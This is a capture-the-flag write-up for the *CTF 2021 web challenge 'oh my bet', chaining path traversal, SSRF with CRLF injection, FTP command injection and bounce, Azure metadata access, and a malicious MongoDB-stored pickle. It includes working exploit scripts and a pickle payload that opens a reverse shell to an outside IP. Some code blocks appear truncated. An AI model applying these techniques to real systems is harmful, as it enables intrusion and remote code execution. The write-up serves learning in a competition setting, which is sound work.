*CTF 2021 - oh my bet

web ssrf


(web, 740 points, 8 solves)

oh my bet was by far the hardest web challenge in the CTF. I ended up getting 3rd blood on this challenge. There was no source provided, so we have to do this blind.

Navigating to the website, you register with a username and password. You can also select an avatar out of the list of six. Once you login, there are two pages. The first page (/shake_and_dice) will randomly roll a dice. The second page (/flag_points_29_points) randomly generates numbers.

There was also a cookie named session, which held a UUID which looked something like "5f2ef736-f86e-47fd-9198-2943c8c42410".

That was it. It didn't seem like the second page actually would give the flag, and it really seemed the website had no functionality at all. So, I went to look at the source code of the HTML. In the login page, I immediately found something weird - the avatar field had you select PNGs directly.

So, when you select "One" for the image, it actually sends "1.png" over to the server. When you make your account, your avatar is shown at the top bar as a base64 image (not directly linked)! So, the website might actually open any file that you send, and encode it as base64 to become an image.

Replacing the "1.png" with "../../../../../etc/passwd" and sending it over, the avatar becomes an unviewable image. Opening the image directly, we see the base64 that it tries to read is not a valid image. Decoding the base64, we see:

xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
app:x:100:101:Linux User,,,:/home/app:/bin/false

LFI found. At this point, I thought I was somewhat close to the flag. I was so naive. I quickly whipped up a script to make it easier for me to extract files from the server.

import requests
import random
import string
import base64
import re

target = "/etc/passwd"

def randstr():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

r = requests.post("", data={"username": randstr(), "password": "12345", "avatar": "../../../../.." + target, "submit": "Go!"})
resp = r.text

pattern = r'"data:image/png;base64,(.*?)"'
b64 = re.search(pattern, resp).group(1)


With this script, it was fairly simple to download files from the webserver. So, I first wanted to download the script running the website. I immediately made a request to /proc/self/cmdline and /proc/self/environ.



From the data extracted, we can tell that it is a python app running at /app/app.py. Extracting that file, we get the source code of the website!

import logging
from flask import Flask, session, request, render_template, url_for, redirect
from flask_session import Session
from config import Config
from forms import LoginForm
from exts import db, redis_client
from models import User
from utils import mark_data, get_data, login_required, get_avatar, random_dice, random_card, md5
app = Flask(__name__)
@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if session.get('username'):
        return redirect(url_for('shake_and_dice'))
    if request.method == 'GET':
        return render_template('login.html', form=form)
        username = form.username.data
        password = form.password.data
        password_md5 = md5(password)
        avatar = form.avatar.data
        user = User.query.filter_by(username=username).first()
        if user:
            if password_md5 != user.password:
                return render_template('login.html', form=form, message='Sorry, username or password ERROR!')
                session['username'] = username
                return redirect(url_for('shake_and_dice'))
            user = User(username=username, password=password_md5, avatar=avatar)
            session['username'] = username
        data = get_avatar(username)
        mark_data(username, data)
        return redirect(url_for('shake_and_dice'))
def shake_and_dice():
    dice1 = random_dice()
    dice2 = random_dice()
    dice3 = random_dice()
    content = get_data(session['username'])
    return render_template('shake_and_dice.html', username=session['username'], avatar=content,
                           dice1=dice1, dice2=dice2, dice3=dice3)
def flag_points_29_points():
    card1 = random_card()
    card2 = random_card()
    card3 = random_card()
    content = get_data(session['username'])
    return render_template('flag_points_29_points.html', username=session['username'], avatar=content,
                           card1=card1, card2=card2, card3=card3)
def logout():
    return redirect(url_for('login'))
def index():
    return redirect(url_for('login'))
if __name__ == '__main__':

Well, I immediately noticed a problem. There actually is no flag functionality on the website. The website literally has no functionality at all. So, that left me to assume we have to somehow escalate from LFI to RCE, which (in my experience) can be quite hard when not running PHP.

The app imported other Python modules as well, so I downloaded the rest. The most important one was /app/config.py, and when I saw it, I knew I was in for a rough challenge.

import pymongo
from ftplib import FTP
import json
class Config(object):
    def ftp_login(self):
        ftp = FTP()
        ftp.connect("", 8877)
        ftp.login("fan", "root")
        return ftp
    def callback(self,*args, **kwargs):
        data = json.loads(args[0].decode())
        self.data = data
    def get_config(self):
        f = self.ftp_login()
        buf_size = 1024
        f.retrbinary('RETR {}'.format('config.json'), self.callback, buf_size)
    def __init__(self):
        data = self.data
        self.secret_key = data['secret_key']
        self.SECRET_KEY = data['secret_key']
        self.DEBUG = data['DEBUG']
        self.SESSION_TYPE = data['SESSION_TYPE']
        remote_mongo_ip = data['REMOTE_MONGO_IP']
        remote_mongo_port = data['REMOTE_MONGO_PORT']
        self.SESSION_MONGODB = pymongo.MongoClient(remote_mongo_ip, remote_mongo_port)
        self.REDIS_URL = data['REDIS_URL']

Oh boy. I am of the firm belief that no CTF author would put extra time in their challenge to add weird features, so the fact that I was seeing FTP meant that it was probably a core part of the challenge.

Another important file was /app/utils.py, and here is the source:

import os
import time
import re
import base64
import random
import hashlib
import urllib.request
from exts import redis_client
from functools import wraps
from flask import session, redirect, url_for
from models import User
def mark_data(id, data):
    expires = int(time.time()) + 240
    p = redis_client.pipeline()
    p.set(id, data)
    p.expireat(id, expires)
def get_data(id):
    data = redis_client.get(id)
    if not data:
        data = get_avatar(id)
        mark_data(id, data)
    return data.decode()
def login_required(f):
    def decorated_function(*args, **kws):
            if not session.get("username"):
               return redirect(url_for('login'))
            return f(*args, **kws)
    return decorated_function
def get_avatar(username):
    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()
    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())
    return content
def random_dice():
    dices = ['1.gif', '2.gif', '3.gif', '4.gif', '5.gif', '6.gif', 'surprise1.gif', 'surprise2.gif']
    return random.choice(dices)
def random_card():
    color = ['♠️️', '❤️ ', '️️🔷', '♣️', '🚩']
    return "%-5s" % random.choice(color) + ' ' + "%-3s" % str(random.randint(1, 15))
def md5(data):
    m = hashlib.md5(data.encode())
    return m.hexdigest()

Here, we finally see the function that gives us LFI, get_avatar.

def get_avatar(username):

    dirpath = os.path.dirname(__file__)
    user = User.query.filter_by(username=username).first()

    avatar = user.avatar
    if re.match('.+:.+', avatar):
        path = avatar
        path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', avatar])
        content = base64.b64encode(urllib.request.urlopen(path).read())
    except Exception as e:
        error_path = '/'.join(['file:/', dirpath, 'static', 'img', 'avatar', 'error.png'])
        content = base64.b64encode(urllib.request.urlopen(error_path).read())

    return content

From the code, we can see that if the file matches the regex (which pretty much checks for a scheme like https:// or http://), it is piped directly into urllib.request.urlopen. If it doesn't have a scheme, it creates a path based on the current directory. This upgrades our LFI to SSRF, as we can now request websites from the server directly. Well, I knew that urllib.request also supports the file:// and ftp:// urls, so we can use those to exfiltrate more data.

I knew that the FTP server existed, so I made a request to ftp://fan:[email protected]:8877, and got the following files:

-rw-r--r--   1 root     root         6148 Jan 13 14:11 .DS_Store
drwxr-xr-x   2 root     root         4096 Jan 13 14:16 files
-rw-r--r--   1 root     root          464 Jan 08 13:10 ftp-server.py

I downloaded ftp-server.py, and got the source code for the FTP server.

from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()

authorizer.add_user("fan", "root", ".",perm="elrafmwMT")

handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer

server = FTPServer(("", 8877), handler)

There was also the files folder, so I requested that folder and found a config.json file. Here's config.json:

  "DEBUG": false,
  "SESSION_TYPE": "mongodb",
  "SESSION_MONGODB_DB": "admin",
  "SESSION_KEY_PREFIX": "session:",
  "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:[email protected]:3306/ctf?charset=utf8",
  "REDIS_URL": "redis://@"

This challenge was insane. To me, there seemed like too many different paths - the website had MongoDB, MySQL, Redis, and FTP, and I had no idea what to do. In the back of my mind, I also knew there was a CRLF vulnerability. From previous experience, I knew that old versions of Python (ending at 3.6) had a CRLF injection in urllib.request. CRLF injection allows you to inject \r\n characters where they aren't expected, which can let you embed headers in URLs, split HTTP responses, and many more attacks.

For example, after doing some more recon, I realized that this was running on Microsoft Azure. Requesting /etc/resolv.conf, I see:

search edmdnc3elcbeve41mkjbyzwbnd.ix.internal.cloudapp.net
options edns0 trust-ad ndots:0

Doing some research on the cloudapp.net domain, I can tell that it is running Azure. SSRF on certain platforms can be dangerous, as you might be able to escalate through abusing certain features of the cloud platform. For example, in one of the Balsn CTF challenges this year, tpc, you had to abuse urllib.request.urlopen on Python 3.6 (this exact setup), to make requests to the GCP's metadata server and download the container.

Well, I looked into this attack for Azure, and I found the existence of an endpoint named that would let you download Azure metadata! But, you need to provide a custom header, Metadata: true, to get this information. This is meant to secure the endpoint from SSRF vulnerabilities.

But, since we have CRLF, we can directly inject this header into our URL. Modifying the code from tpc writeups, I can get the Azure metadata! Here's the script I used:

endpoint = ""
headers = {
    "Metadata": "true"

target = endpoint + "&a=1 HTTP/1.1\r\n"
for h in headers.keys():
    target += h + ": " +headers[h] + "\r\n"
target += "buffer: yep"

Well, after downloading the metadata, I saw nothing of use. And it was at this point I started going down a bunch of different rabbit holes. Eventually, the author released the first hint, which hinted at the existence of a /readflag binary. I downloaded the binary and decompiled it with Ghidra.

So, there was a file named /flag_728246ee4be43072f63a6d4bb5ddb6b0c705e8e6, and /readflag would open this and print it out to screen. I tried to download the flag file directly, but no luck. They also said that abusing the Redis database wasn't part of the challenge, which threw me for a loop. They later released a hint saying that it was Python 3.6, which I already knew. So, this reinforced the idea that we need to somehow abuse SSRF with CRLF to gain RCE.

Eventually, I had the idea of using the CRLF to directly interact with the FTP server. I tried to use the script above, and modify it to work with FTP, but no dice. Eventually, one of my teammates linked a writeup that seemed to match this challenge pretty well.

The challenge was Contrived Web from PlaidCTF 2020, where you use CRLF to inject FTP commands, then use the PORT command to SSRF data directly to the RabbitMQ email queue and directly send the flag. At this point, I immediately remembered an attack with FTP called FTP Bounce. FTP bounce abuses the PORT command in FTP to send data to other services in the same machine.

Unfortunately, this attack is usually blocked in most FTP libraries. Fortunately for us, the handler.permit_foreign_addresses = True line in ftp-server.py directly disables this protection.

So, now I have a game plan. Target one of the services (MongoDB or MySQL), send a malicious packet through FTP Bounce, and gain RCE. But first, we need to run FTP commands. I try to work on my own script to inject FTP commands through CRLF, and after a lot of trial and error, I eventually am able to run FTP commands!

import urllib.parse
import requests
import string
import random
import re

ftp_cmds = [
    "USER fan",
    "PASS root",
    'STOR sadge',
ftp_host = ""
target = 'ftp://fan\r\n{}:[email protected]'.format('\r\n'.join(ftp_cmds)) + ftp_host


def randstr():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

s1 = ""
s2 = ""
r = requests.post(f"http://{s2}/login", data={"username": randstr(), "password": "12345", "avatar": target, "submit": "Go!"})

After running this script, I see a new file named sadge in the FTP server! Unfortunately, at this moment I had no way to get output. At the same time, I also see other people uploading files into FTP.

But, their files actually had data inside, while I could only create blank files. So, the next step was to create my own file upload script. To do this, I reused a previous TCP proxy script I made (for a game called Pwn Adventure 3) and proxied my connection to an FTP server to observe how to upload.

You can see my proxy script here, if you want.

When sending a file named test.txt, I saw this output:

localproxy [b'TYPE I\r\n']
remoteproxy [b'200 Type set to: Binary.\r\n']
localproxy [b'TYPE I\r\n']
remoteproxy [b'200 Type set to: Binary.\r\n']
localproxy [b'PASV\r\n']
remoteproxy [b'227 Entering passive mode (123,456,789,123,7,214).\r\n']
localproxy [b'STOR test.txt\r\n']
remoteproxy [b'150 File status okay. About to open data connection.\r\n']
remoteproxy [b'226 Transfer complete.\r\n']
localproxy [b'MFMT 20210117010316 test.txt\r\n']
remoteproxy [b'213 Modify=20210117010316; /test.txt.\r\n']
localproxy [b'TYPE A\r\n']
remoteproxy [b'200 Type set to: ASCII.\r\n']
localproxy [b'PASV\r\n']
remoteproxy [b'227 Entering passive mode (123,456,789,123,7,225).\r\n']
localproxy [b'MLSD\r\n']
remoteproxy [b'150 File status okay. About to open data connection.\r\n']
remoteproxy [b'226 Transfer complete.\r\n']

So, first, the client sets the transfer type to binary, then runs the PASV command. The server responds with the IP and port (123,456,789,123,7,214) [123,456,789,123 -> 123.456.789.123 and 7,214 encodes the port]. The client then connects to the server and port, and sends the data over.

But, this immediately was a problem - we don't have direct access to the FTP server. The most common way clients transfer files to FTP servers is through what is called passive mode. In this mode, the FTP server sends an IP and port to the client for them to send files to. But, since we can't access the server, we can't use passive mode.

Thankfully, there is another (less used) mode called active mode. In this method, we send our own IP and port to the FTP server, and then the server connects to us, and we send a file when they connect. This is used less since you need a direct IP, so it wouldn't work for most people since they would be behind a router.

Around 30 minutes later, I had a working file upload script.

import urllib.parse
import requests
import string
import random
import socket
import re

upload_name = "hw.txt"
upload_contents = "Hello, world!"
upload_port = 6969
upload_host = "123.456.789.123"
upload = '{},{},{}'.format(upload_host.replace('.', ','), upload_port >> 8, upload_port & 0xff)

ftp_cmds = [
    "USER fan",
    "PASS root",
    'TYPE A', # A = ascii, I = binary
    'PORT ' + upload, # active mode target
    'STOR ' + upload_name, # filename

ftp_host = ""
target = 'ftp://fan\r\n{}:[email protected]'.format('\r\n'.join(ftp_cmds)) + ftp_host


def randstr():
    alphabet = list(string.ascii_lowercase + string.digits)
    return ''.join([random.choice(alphabet) for _ in range(32)])

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("", upload_port))

s1 = ""
s2 = ""
r = requests.post(f"http://{s2}/login", data={"username": randstr(), "password": "12345", "avatar": target, "submit": "Go!"})

target_conn, addr = sock.accept()

With this script, I now had working file upload to the FTP server! A couple minutes later, I finished working on my FTP bounce script, which looked similar, but the ftp_cmds were now:

bounce_port = 4200
bounce_host = "123.456.789.123"

ftp_cmds = [
    "USER fan",
    "PASS root",
    "TYPE A",
    'PORT {},{},{}'.format(bounce_host.replace('.', ','), bounce_port >> 8, bounce_port & 0xff),

Sending these commands over would send the output of the LIST command over to the bounce_host and bounce_port. If we change the LIST command to RETR payload, it would send over the payload to our target. So, we can now send a payload to anywhere on the server, including MongoDB and MySQL.

So now, we have to figure out what service to target, and what payload to send. One of my teammates told me about the run command in MongoDB, which lets you run shell commands, so I first ran a TCP proxy between my MongoDB connection, and saved all the data I was sending. I tried to replay those packets to see if it would rerun the command, but it didn't work.

Later, he found the source code for the flask-session library's MongoDB driver, specifically this very important section. Python and Flask-Session, when using MongoDB, save the user's session inside of a python pickle!

Python pickles are notorious attack vectors, as if we can set them arbitrarily, we can get Python to deserialize insecure code, and gain RCE. So, now I have a complete plan of attack. Find the packet I need to send to create a new MongoDB session with a pickle that, when unserialized, sends me a reverse shell.

I first make a RCE pickle:

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ("""python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("123.456.789.123",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'""")
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    open("exploit.b64", "w").write(base64.urlsafe_b64encode(pickled).decode())

If this is unserialized by Python, it'll send a reverse shell over to my IP!

After dying for like an hour, I find an article here (that is no longer on the web) on Google's cache, which sends a packet directly to the MongoDB socket straight using C. Perfect!

I slightly modified their code a bit, and ended up with this:

int main () {   
  char op_msg[] = {
    0x5D, 0x00, 0x00, 0x00, // total message size, including this
    0x00, 0x00, 0x00, 0x00, // requestID (can be 0)
    0x00, 0x00, 0x00, 0x00, // responseTo (unused for sending)
    0xDD, 0x07, 0x00, 0x00, // opCode = 2013 = 0x7DD for OP_MSG
    0x00, 0x00, 0x00, 0x00, // message flags (not needed)
    0x00,                   // only data section, type 0
    // begin bson command document
    // {insert: "test_coll", $db: "db", documents: [{_id:1}]}
    0x48, 0x00, 0x00, 0x00, // total bson obj length

    // insert: "test_coll" key/value
    0x02, 'i','n','s','e','r','t','\0',
    0x0A, 0x00, 0x00, 0x00, // "test_coll" length

    // $db: "db"
    0x02, '$','d','b','\0',
    0x03, 0x00, 0x00, 0x00,

    // documents: [{_id:1}]
    0x04, 'd','o','c','u','m','e','n','t','s','\0',
    0x16, 0x00, 0x00, 0x00, // start of {0: {_id: 1}} 
    0x03, '0', '\0', // key "0"
    0x0E, 0x00, 0x00, 0x00, // start of {_id: 1}
    0x10, '_','i','d','\0', 0x01, 0x00, 0x00, 0x00,
    0x00,                   // end of {"id: 1}
    0x00,                   // end of {0: {_id: 1}}
    0x00                    // end of command document,
  FILE* file = fopen("exploit.bin", "wb");
  fwrite(op_msg, 1, sizeof(op_msg), file);
  return 0;

Now, this exploit.bin, when sent to localhost:27017, created a new database and document in my local MongoDB server. This code generates a packet following the BSON (binary json) spec, which is what MongoDB uses. So now, we had to figure out the correct BSON to send. I created a simple Python+Flask test app that also used MongoDB as the driver for the sessions, and checked my database.

From here, we see the format of the document. I quickly whip up a BSON document that would insert a malicious session into this collection. Something similar to:

{insert: "sessions", $db: "admin", documents: [{id: "session:ee124d06-0a63-40dc-bdbd-26d8350f4939", timestamp: 99999999999, val: pickle}]}

, if encoded correctly and sent, would match this format perfectly. So, now I had to figure out how to encode our BSON data correctly. I didn't want to read the BSON spec by hand, so I ended up using NodeJS's BSON library to make the work much easier. Figuring out exactly how to embed this with the correct opcode and length took a bit of work, as I rarely use NodeJS buffers.

But eventually, I got the following script made:

const BSON = require('bson');
const fs = require('fs');

// Serialize a document
const doc = {insert: "sessions", $db: "admin", documents: [{
    "id": "session:e51fca6f-1148-450c-8961-b5d1aaaaaaaa",
    "val": Buffer.from(fs.readFileSync("exploit.b64").toString(), "base64"),
    "expiration": new Date("2025-02-17")
const data = BSON.serialize(doc);

let beginning = Buffer.from("5D0000000000000000000000DD0700000000000000", "hex");
let full = Buffer.concat([beginning, data]);

full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);

This code creates a BSON document with the correct id (a uuid that is currently being unused), our pickled base64, and an expiration date. It then concats this document with the packet data from the beginning of the C program. Then, it fixes the length of the packet by writing an unsigned 32 integer in little endian in the first spot. This is saved as bson.bin.

Testing it locally, I do cat bson.bin | nc localhost 27017. This sends the data directly to MongoDB's port. After checking my MongoDB database, I see the new document.

Finally, we have everything we need. I set up my FTP bounce script to target (the local MongoDB server). I then use my FTP upload script to upload this bson.bin packet, run the bounce script a couple of times, then replace the uploaded data with some junk (so no one could steal our code :P).

Now finally, if we navigate back to the website, and set our session cookie to the id we had set (e51fca6f-1148-450c-8961-b5d1aaaaaaaa), our pickled code is deserialized, sending a reverse shell to my computer. RCE gained! At this point, all I had to do was run the /readflag binary, and out popped the flag.

[email protected]:~$ nc -lvp 4242
Listening on 4242
Connection received on 34092
/app $ ls
app.py         exts.py        gunicorn.conf  static         utils.py
config.py      forms.py       models.py      templates
/app $ cd /
cd /
/ $ ls
/ $ ./readflag

Flag get! This was a very difficult challenge that took our three people working on it an entire day, but I ended up learning a lot.